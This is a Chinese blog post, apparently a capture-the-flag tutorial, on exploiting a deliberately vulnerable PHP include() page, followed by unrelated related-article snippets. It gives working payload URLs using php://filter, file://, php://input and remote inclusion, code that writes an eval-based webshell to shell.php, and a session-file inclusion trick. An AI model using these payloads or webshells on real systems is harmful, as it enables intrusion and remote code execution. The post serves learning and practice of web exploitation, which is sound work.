代碼審計--一道簡單的文件包含題目的多種利用方式

NO.1 傳統方法

首先來看下代碼


<?php
error_reporting(0);
if(@isset($_GET["file"])){include($_GET["file"]);
}else{highlight_file(__FILE__);phpinfo();
}
?>

看完代碼后再來學習學習函數吧,畢竟菜啊!!!


isset()函數檢測變量是否設置,是返回true,否則返回false

語法:bool isset( mixed var [, mixed var [, …]] )


error_reporting()函數能夠在運行時設置 error_reporting 指令。0為關閉錯誤報告

語法:error_reporting(level)


include?函數包含并運行指定文件。

這個應該大家都很熟悉了。


highlight_file()函數對文件進行語法高亮顯示。

語法:highlight_file(filename,return)

參數:

  1. filename 必需。要進行高亮處理的 PHP 文件的路徑。
  2. return 可選。如果設置 true,則本函數返回高亮處理的代碼。

這題由于沒有任何過濾,利用起來并不困難,

直接訪問的時候會出現phpinfo,可能是為了方便讓你知道網站路徑吧,

知道路徑后,當然一般直接使用?file=xxx就可以直接利用了。


NO.2 php偽協議

對于php偽協議,網上也有很多的文章,

但是對于萌新來說,自己再總結學習一下自然不是什么壞事,

談到偽協議就不得不先說allow_url_fopen?allow_url_include這兩個函數。

allow_url_fopen函數:默認值是ON,允許url里的封裝協議訪問文件

allow_url_include函數:默認值是OFF,不允許包含url里的封裝協議包含文件

接下來看看CTF中幾個常用的偽協議。


1. php://filter

php://filter協議在CTF中經常出現,通常配合base64來讀取源碼,

參數:

名稱:

  1. resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流。
  2. read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
  3. write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
  4. <; 兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用于讀或寫鏈。

這道題中利用方法也很簡單,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt

也很好理解,意思就是讀取flag.txt的內容,進行base64編碼后輸出

注意:像這樣的話是讀取相同路徑下的文件,就是include.phpflag.txt同路徑

images


接下來看看跟php://filter很像的一個協議

file://協議(不是偽協議)

說明:?file://?— 訪問本地文件系統

file://協議會受到?allow_url_fopen?的影響,

但是在CTF中通常用來讀取本地文件而不會受到allow_url_fopen的影響

用法:?file:// [文件的絕對路徑和文件名]

然后在這道題中就可以這樣去構造,

http://localhost/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

在Windows下正反斜桿都可以使用,

Linux下必須使用正斜桿(/)

images

當然還可以配合php://filter協議使用,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

2. php://input協議

說明:簡單來說就是能夠將post請求中的數據作為PHP代碼執行

需要將allow_url_include開啟

注:當enctype='multipart/form-data'?的時候?php://input?是無效的

測試:

images

也可以post生成一句話

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST['cmd']);?>');?>

先來認識下函數,


fputs()函數將內容寫入一個打開的文件中。

語法:fputs(file,string,length)

參數:

  1. file 必需。規定要寫入的打開文件。
  2. string 必需。規定要寫入打開文件的字符串。
  3. length 可選。規定要寫入的最大字節數。

fopen()函數打開文件或者 URL。

語法:fopen(filename,mode,include_path,context)

參數:

  1. filename 必需。規定要打開的文件或 URL。
  2. mode 必需。規定要求到該文件/流的訪問類型。可能的值見下表。
  3. include_path 可選。如果也需要在 include_path 中檢索文件的話,可以將該參數設為 1 或 TRUE。
  4. context 可選。規定文件句柄的環境。Context 是可以修改流的行為的一套選項。

mode 參數的可能的值:

  1. “r” 只讀方式打開,將文件指針指向文件頭。
  2. “r+” 讀寫方式打開,將文件指針指向文件頭。
  3. “w” 寫入方式打開,將文件指針指向文件頭并將文件大小截為零。如果文件不存在則嘗試創建之。
  4. “w+” 讀寫方式打開,將文件指針指向文件頭并將文件大小截為零。如果文件不存在則嘗試創建之。
  5. “a” 寫入方式打開,將文件指針指向文件末尾。如果文件不存在則嘗試創建之。
  6. “a+” 讀寫方式打開,將文件指針指向文件末尾。如果文件不存在則嘗試創建之。
  7. “x” 創建并以寫入方式打開,將文件指針指向文件頭。如果文件已存在,返回 FALSE,如果文件不存在則嘗試創建之。
  8. “x+” 創建并以讀寫方式打開,將文件指針指向文件頭。如果文件已存在,返回 FALSE,如果文件不存在則嘗試創建之。

這句話的意思很明顯了,以寫入的方式將一句話寫入到shell.php這個文件中,

然后就可以直接上菜刀了

images

對于文件包含這個東西來說,文件后綴可以是任意的,

只要文件內容符合PHP語法規范,那么任何擴展名都可以被當作PHP來解析,

這里我們將shell.php改成shell.jpg的后綴,

菜刀路徑的話也要換成包含的格式

http://localhost/include.php?file=shell.jpg

依舊是可以訪問的,

好了,偽協議就說怎么多了。


NO.3 遠程包含

既然是文件包含的題目,當然就離不開遠程文件包含了,

遠程包含需要目標服務器將allow_url_fopenallow_url_include開啟才可以。

現在將一匹馬放到自己服務器上,然后遠程包含這匹馬,

注意,這里有個坑

這匹馬的文件名不能是可以解析的文件后綴,比如php后綴可以解析,那么這匹馬的后綴就不能是php

http://localhost/include.php?file=http://127.0.0.1/shell.jpg

但是如果我就想要包含php后綴的文件呢,當然也是可以的,

不過這里需要將一句話echo出來才行,這樣才可以包含php后綴的文件


<?php
echo '<?php eval($_POST["cmd"]);?>';
?>

然后就可以利用了

images


思考:為什么遠程包含需要將一句話echo出來

原因是遠程服務器已經將文件解析了,遠程包含只包含前端顯示的代碼,跟后綴沒什么關系,

所有這里為什么要echo一句話就是這個道理。

相反,本地包含就不需要在前端顯示,只要是符合php規范的代碼就可以,

本地包含一般使用jpg,log這樣的后綴的一句話去繞waf。


遠程包含還可以配合偽協議去利用,

將一句話進行base64加密,

images

注意:這里要是加密echo的一句話是不行的

然后偽協議中base64就要換成解密的了decode

使用方法:

http://localhost/include.php?file=php://filter/read=convert.base64-decode/resource=http://127.0.0.1/shell.php

images

然后一樣可以使用菜刀去連接


NO.4 session文件包含

這題我們稍微改動一下,增加一個session


<?phpsession_start();
error_reporting(0);if(@isset($_GET["file"])){$_SESSION["username"]=$_GET["file"];include($_GET["file"]);
}else{highlight_file(__FILE__);phpinfo();
}?>

這里的話就是開啟session,然后將傳入的參數寫入到session文件中。

這里我們傳入一個名為flag的參數,

在瀏覽器中可以看到 phpsessid 在發送的請求的 cookie值,

images


然后我們可以通過phpinfo知道session存放的路徑,

images


然后去文件夾中發現確實存在這個臨時文件,

images


然后進行讀取,session臨時文件格式為sess_xxx?發現是我們剛剛傳入的flag字段

http://localhost/include.php?file=../tmp/tmp/sess_onkqtedht4iucf6bnnjpgqu0g7

images


如果當我們傳入的值為?<?php phpinfo();?>?會出現什么情況

images


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/15861.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/15861.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/15861.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

IronPython和C#交互

在C#環境中動態調用IronPython腳本&#xff0c;可以通過以下步驟實現&#xff1a; 安裝IronPython: 首先&#xff0c;確保你的項目中已經安裝了IronPython。可以通過NuGet包管理器來安裝IronPython。 創建IronPython運行環境: 在C#代碼中&#xff0c;你需要創建一個ScriptEngi…

NASA數據集——阿爾法噴氣式大氣實驗甲醛(HCHO)數據

Alpha Jet Atmospheric eXperiment Formaldehyde Data 簡介 阿爾法噴氣式大氣實驗甲醛數據 阿爾法噴氣式大氣實驗&#xff08;AJAX&#xff09;是美國國家航空航天局艾姆斯研究中心與 H211, L.L.C. 公司的合作項目&#xff0c;旨在促進對加利福尼亞、內華達和太平洋沿岸地區的…

【NOIP2014普及組復賽】題4:子矩陣

題3&#xff1a;子矩陣 【題目描述】 給出如下定義&#xff1a; 1.子矩陣&#xff1a;從一個矩陣當中選取某些行和某些列交叉位置所組成的新矩陣&#xff08;保持行與列的相對順序&#xff09;被稱為原矩陣的一個子矩陣。 例如&#xff0c;下面左圖中選取第 2 、 4 2、4 2、…

vue項目中使用json編輯器

實現效果&#xff1a; 借助插件json-editor-vue3實現效果如圖一&#xff0c;如果嫌丑可以通過類名改一下樣式如圖二。 實現過程&#xff1a; 安裝插件&#xff1a;npm install json-editor-vue3 文檔鏈接&#xff1a;GitCode - 開發者的代碼家園 <script setup name&quo…

Golang發送POST請求并傳遞JSON數據

客戶端 package mainimport ("c02_get_param/common""fmt""zdpgo_resty" )func main() {// Create a Resty Clientclient : zdpgo_resty.New()// 設置字符串resp, err : client.R().SetHeader("Content-Type", "application/jso…

AcWing 3466. 清點代碼庫(STL:map,vector)

3466. 清點代碼庫 需要求有幾種不同數列&#xff0c;每種有多少個&#xff0c;可以想到用map。它的鍵是一個數列&#xff0c;可以把它放在vector里。也就是map<vector<int>,int> 要滿足要求的輸出序列&#xff0c;就要想把它放在其他容器&#xff0c;或數組里&…

mac清理緩存的命令

mac清理緩存的命令 在macOS中&#xff0c;你可以使用以下命令來清理緩存&#xff1a; 清理DNS緩存&#xff1a; sudo killall -HUP mDNSResponder 清理Metal緩存&#xff1a; mkdir ~/Library/Caches/com.apple.Metal 清理文件系統元數據緩存&#xff1a; sudo find /private/…

Vite + Vue3 部署 GitHub

因為靜態資源是可以部署到 GitHub 上&#xff0c;自己順便學習部署網站 因為我使用的是 Vite 工具&#xff0c;官方有提供相應 Demo 部署靜態站點 | Vite 官方中文文檔 新建文件夾 .github 然后再建一個文件夾 workflows 新建文件 main.yml 文件 直接使用官方文檔 demo #…

什么是spring 的組件掃描?

Spring的組件掃描&#xff08;Component Scanning&#xff09;是Spring框架提供的一種機制&#xff0c;用于自動尋找和注冊應用程序中的組件&#xff0c;進而減少顯式的配置。這些組件通常是標有特定注解&#xff08;如Component, Service, Repository, Controller等&#xff0…

如何處理時間序列的缺失數據

您是否應該刪除、插入或估算&#xff1f; 世界上沒有完美的數據集。每個數據科學家在數據探索過程中都會有這樣的感覺&#xff1a; df.info()看到類似這樣的內容&#xff1a; 大多數 ML 模型無法處理 NaN 或空值&#xff0c;因此如果您的特征或目標包含這些值&#xff0c;則在…

Java-MySql:JDBC

目錄 JDBC概述 JDBC搭建 1、導入mysql開發商提供的jar包 2、注冊驅動 3、與數據庫連接 注解&#xff1a; Statement&#xff1a; 代碼 運行 PreparedStatement&#xff1a; 代碼 運行 PreparedStatement和Statement Statement 增 代碼 運行 刪 代碼 運…

九、圖形化腳本

多年來&#xff0c; shell腳本一直都被認為是枯燥乏味的。但如果你準備在圖形化環境中運行腳本時&#xff0c;就未必如此了。有很多與腳本用戶交互的方式并不依賴read和echo語句。 9.1 創建文本菜單 創建交互式shell腳本最常用的方法是使用菜單。提供各種選項可以幫助腳本用戶…

AI遇上遙感,未來會怎樣?

隨著航空、航天、近地空間等多個遙感平臺的不斷發展&#xff0c;近年來遙感技術突飛猛進。由此&#xff0c;遙感數據的空間、時間、光譜分辨率不斷提高&#xff0c;數據量也大幅增長&#xff0c;使其越來越具有大數據特征。對于相關研究而言&#xff0c;遙感大數據的出現為其提…

初識GPT

初識GPT GPT&#xff08;Generative Pre-trained Transformer&#xff09;是一種基于Transformer架構的預訓練語言模型&#xff0c;由人工智能研究公司OpenAI開發。GPT模型使用了一種稱為“自回歸”&#xff08;autoregressive&#xff09;的方法來生成文本&#xff0c;這意味…

Oracle執行DELETE語句后,回滾(還原)數據

--第一步&#xff1a;刪除數據 DELETE FROM "EMPLOYEER" WHERE id 123 --第二步&#xff1a;查看數據列表(判斷第一步中數據是否被刪除) SELECT * FROM "EMPLOYEER" AS OF timestamp to_timestamp( 2024-05-22 11:51:00, yyyy-mm-dd hh24:mi:ss ) --第…

基于MetaGPT構建LLM多智能體

前言 你好&#xff0c;我是GISer Liu&#xff0c;在上一篇文章中&#xff0c;我們用了兩萬多字詳細拆解了單個Agent的組成&#xff0c;并通過Github Trending訂閱智能體理解MetaGPT框架的訂閱模塊如何解決應用問題&#xff0c;但是對于復雜&#xff0c;并行的任務&#xff0c;單…

【vue】el-select選擇器實現寬度自適應

選擇器的寬度根據內容長度進行變化 <div class"Space_content"><el-selectv-model"value":placeholder"$t(bot.roommessage)"class"select"size"small"style"margin-right: 10px"change"selectcha…

JavaSE——集合框架二(1/6)-前置知識-可變參數、Collections工具類

目錄 可變參數 Collections工具類 Collections的常用靜態方法 實例演示 可變參數 可變參數 就是一種特殊形參&#xff0c;定義在方法、構造器的形參列表里&#xff0c;格式是&#xff1a;數據類型...參數名稱 可變參數的特點和好處 特點&#xff1a;可以不傳數據給它&am…

SQL常用基礎語句(一)-- ABCDE開頭

AS 將列名從 count(*) 修改為 total select count(*) as total from users where status0 將列名 username 改為 uname&#xff0c; password 改為 upwd select username as uname, password as upwd from users BETWEEN AND 說明&#xff1a;BETWEEN 篩選的是 >value1且 &l…

小程序主體變更是通過遷移嗎?是需要2個小程序嗎?

小程序遷移變更主體有什么作用&#xff1f;好多朋友都想做小程序遷移變更主體&#xff0c;但是又不太清楚具體有啥用&#xff0c;今天我就來詳細說說。首先&#xff0c;小程序遷移變更主體最重要的作用就是可以修改主體。比如你的小程序原來是 A 公司的&#xff0c;現在 A 公司…